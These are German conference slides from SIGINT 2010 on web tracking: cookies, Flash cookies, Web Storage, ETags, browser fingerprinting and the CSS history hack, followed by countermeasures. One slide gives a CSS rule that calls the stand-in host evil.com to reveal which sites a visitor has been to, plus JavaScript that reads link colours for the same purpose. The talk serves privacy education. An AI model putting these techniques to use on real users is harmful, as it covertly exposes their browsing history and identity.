SIGINT 2010

Auf Schritt und Tritt

Digitale Brotkrümmel im Web

Jürgen Pabel, CISSP
Akkaya Consulting GmbH

Vorstellung

- Jürgen Pabel
  - Berater für IT-Sicherheit (CISSP)
  - Diverse Open-Source Projekte
- Akkaya Consulting GmbH
  - IT-Beratung `http://www.akkaya.de/`
  - Medizinische Software `http://www.ac-stb.de/`

Agenda

- Kontext
- Technische Verfahren
  - Etabliert
  - Aufkommend
  - Obskur
- Ausblick

Kontext

- Allgemeine Webnutzung
  - Wiedererkennung von Webseitenbesuchern
- HTTP Cookies
  - 1994 von Netscape entwickelt
  - 1996 Privatsphärendiskussion in den USA

Flash LSO

- Flash Local Shared Object
  - Flash Cookie
- Speichert Daten im Benutzerverzeichnis
  - Browserübergreifend

Web Storage

- W3C Standard (aus HTML5 ausgegliedert)
  - Oftmals “DOM Storage” genannt
- Gültigkeitsmodell analog zu HTTP Cookies
  - Session
  - Dauerhaft
- Javascript Schnittstelle

```
sessionStorage['foo'] = 'bar';
localStorage['foo'] = 'bar';
```

HTTP Etag

- HTTP Caching
  - Alternative für zeitbasierte Gültigkeitsprüfungen
- Etag Daten
  - Suggerierte Verwendung: Hash-Wert der Ressource

Browser Fingerabdruck

- Kombination diverser Browsereigenschaften
  - Browserattribute
  - Plugins
- EFF Studie
  - 84% eindeutig identifizierbar

CSS History (1/2)

- Ermöglicht Unterscheidung zwischen aufgerufenen und nicht aufgerufenen Webseiten (komplette URL)

- Javascript

```
var element = document.getElementById(“foo”);
var style = window.getComputedStyle(element, null);
var color = style.getPropertyValue(“color”);
```

- CSS

```
a:visited div.rotten {
        background: url(http://evil.com/rotten.com.jpg);
}
```

CSS History (2/2)

- Neue Anwendung: CSS User-ID (CSSUID)
  - CSS History Hack binär-kodierte Benutzer-IDs

- Proof-of-Concept: http://webserver.pabel.net/cssuid/
  - Firefox 3.5: layout.css.visited_links_enabled = false
  - Firefox 3.6: Änderungen im Page-Rendering bewirken Schutz gegen meine PoC-Implementierung
  - Firefox 4.0: Schutz gegen CSS History Hack Angriffe

Obskure Verfahren

- X.509 Clientzertifikate
- HTTP 301 Redirect
- HTTP Last-Modified

Was uns noch bevorsteht

- Joint ventures
  - Webseitenbetreiber
  - Werbeanbieter
- Positionsbezogene Benutzeridentifizierung
- Browserübergreifende Identitätskomposition
  - Privatcomputer
  - Smartphone
  - ...

Allgemeine Gegenmaßnahmen

- Privatmodus des Browsers verwenden
- Anonymitätserweiternde Browser-Plugins
  - BetterPrivacy (Firefox)
- Browserhygiene (ggf. inklusive Plugins)
  - Cookies
  - Cache
  - Historie

URLs

- CSS History Hack Varianten
  - http://ha.ckers.org/weird/CSS-history-hack.html
  - http://ha.ckers.org/weird/CSS-history.cgi
- Forschungsergebnisse
  - http://www.eff.org/press/archives/2010/05/13
  - http://static.whattheinternetknowsaboutyou.com/results.html
- Mein Geschwätz
  - http://blog.akkaya.de/jpabel/
  - http://twitter.com/juergenpabel

Auf Schritt und Tritt

Vielen Dank für eure Aufmerksamkeit.

Bitte stellt Fragen!